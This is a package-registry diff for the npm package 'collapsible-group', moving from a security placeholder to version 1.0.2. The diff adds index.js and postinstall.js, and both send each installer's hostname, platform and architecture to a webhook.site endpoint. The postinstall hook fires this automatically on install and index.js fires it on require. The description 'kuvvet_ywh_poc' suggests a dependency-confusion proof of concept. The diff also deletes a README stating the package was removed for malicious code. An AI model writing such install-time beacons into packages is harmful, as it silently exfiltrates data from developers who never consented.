collapsible-group 0.0.1-security → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of collapsible-group might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,41 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ module.exports = {
5
+ report: () => {
6
+ const hostname = os.hostname();
7
+ const platform = os.platform();
8
+ const arch = os.arch();
9
+
10
+ const data = JSON.stringify({
11
+ event: "require",
12
+ hostname: hostname,
13
+ platform: platform,
14
+ architecture: arch,
15
+ });
16
+
17
+ const options = {
18
+ hostname: 'webhook.site',
19
+ path: '/89403f83-77bf-4ccb-8ba0-e5a652841e0a',
20
+ port: 443,
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': data.length,
25
+ },
26
+ };
27
+
28
+ const req = https.request(options, (res) => {
29
+ console.log(`POST request sent during require. Status code: ${res.statusCode}`);
30
+ });
31
+
32
+ req.on('error', (error) => {
33
+ console.error(`Error: ${error.message}`);
34
+ });
35
+
36
+ req.write(data);
37
+ req.end();
38
+ },
39
+ };
40
+
41
+ module.exports.report();
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "collapsible-group",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "postinstall": "node postinstall.js"
7
+ },
8
+ "keywords": [],
9
+ "author": "",
10
+ "license": "ISC",
11
+ "type": "commonjs",
12
+ "description": "kuvvet_ywh_poc"
6
13
  }
package/postinstall.js ADDED
@@ -0,0 +1,35 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ const hostname = os.hostname();
5
+ const platform = os.platform();
6
+ const arch = os.arch();
7
+
8
+ const data = JSON.stringify({
9
+ event: "postinstall",
10
+ hostname: hostname,
11
+ platform: platform,
12
+ architecture: arch,
13
+ });
14
+
15
+ const options = {
16
+ hostname: 'webhook.site',
17
+ path: '/89403f83-77bf-4ccb-8ba0-e5a652841e0a',
18
+ port: 443,
19
+ method: 'POST',
20
+ headers: {
21
+ 'Content-Type': 'application/json',
22
+ 'Content-Length': data.length,
23
+ },
24
+ };
25
+
26
+ const req = https.request(options, (res) => {
27
+ console.log(`POST request sent during postinstall. Status code: ${res.statusCode}`);
28
+ });
29
+
30
+ req.on('error', (error) => {
31
+ console.error(`Error: ${error.message}`);
32
+ });
33
+
34
+ req.write(data);
35
+ req.end();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=collapsible-group for more information.